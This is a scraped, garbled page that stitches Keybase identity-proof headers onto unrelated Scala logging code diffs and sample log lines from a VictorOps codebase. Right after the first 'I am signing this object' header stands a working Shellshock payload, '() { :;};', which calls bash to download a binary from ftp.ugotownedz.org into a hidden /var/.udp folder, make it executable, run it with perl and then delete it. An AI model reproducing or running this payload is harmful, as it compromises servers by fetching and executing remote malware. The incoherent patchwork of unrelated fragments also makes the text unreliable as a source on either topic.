I hereby claim:
- I am jschwietert on github.
- I am jschwietert (https://keybase.io/jschwietert) on keybase.
- I have a public key whose fingerprint is C672 94E9 5F0E 5605 FEF6 B432 9F5A D98B FF4A 4B14
To claim this, I am signing this object:
() { :;}; | |
/bin/bash -c \x22mkdir /var/.udp; | |
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg; | |
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg; | |
curl -o /var/.udp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg; | |
lwp-download ftp://ftp.ugotownedz.org/Xorg; | |
chmod +x /var/.udp/Xorg; | |
chmod +x Xorg; | |
perl /var/.udp/Xorg; | |
rm -rf /var/.udp/Xorg*; |
I hereby claim:
To claim this, I am signing this object:
- log.info(s”escalation [resultSummary: $resultSummary” ) | |
// prints: escalation [resultSummary: ResultSummary(…) | |
+ log.info(“escalation”, “resultSummary” -> resultSummary) | |
// prints: escalation :: [resultSummary=ResultSummary(…)] |
- .getOrElse(Future.failed(s”Unable to locate webhook [org=$orgSlug] [incidentId=$incidentId] [policy=$policySlug]”)) | |
// prints: Unable to locate webhook [org=victorops] [incidentId=1234] [policy=yolo] | |
+ .getOrElse(Future.failed(log.format(“Unable to locate webhook”))) | |
// prints: Unable to locate webhook :: [org=victorops] [incidentId=1234] [policy=yolo] |
Jun 21 17:43:49 server1.pr.victorops.com WARN victorops.common.util.PhoneFormat$ - Invalid phone number: ‘555-55-555’ |
Jun 21 17:43:49 server1.pr.victorops.com WARN victorops.controllers.api.UserController$ – Invalid phone number: ‘555-55-555’ :: [org=victorops] [user=jonathan] |
+ override def classLogVariables: LogVariables = Seq(“org” -> orgSlug, “incidentId” -> incidentId, “policy” -> policySlug) | |
+ | |
override def preStart(): Unit = { | |
- log.info(s”Starting EscalationPolicyActor [org=$orgSlug] [incidentId=$incidentId] [policy=$policySlug]”) | |
+ log.info(“Starting EscalationPolicyActor”) | |
super.preStart() | |
} | |
override def postStop(): Unit = { | |
- log.info(s”Stopping EscalationPolicyActor [org=$orgSlug] [incidentId=$incidentId] [policy=$policySlug]”) |
type LogVariable = (String, Any) | |
def info(msg: => String, variables: LogVariable*): Unit |
def format(phoneNumber: String)(implicit log: Logger) |
trait Logging { | |
def classLogVariables: LogVariables = Nil | |
implicit lazy protected[logging] val log = Logger.ClassLogger(this.getClass, classLogVariables) | |
} | |
trait ActorLogging extends Logging { | |
this: akka.actor.Actor => | |
implicit override lazy protected[logging] val log = Logger.ActorLogger(this, classLogVariables) | |
} |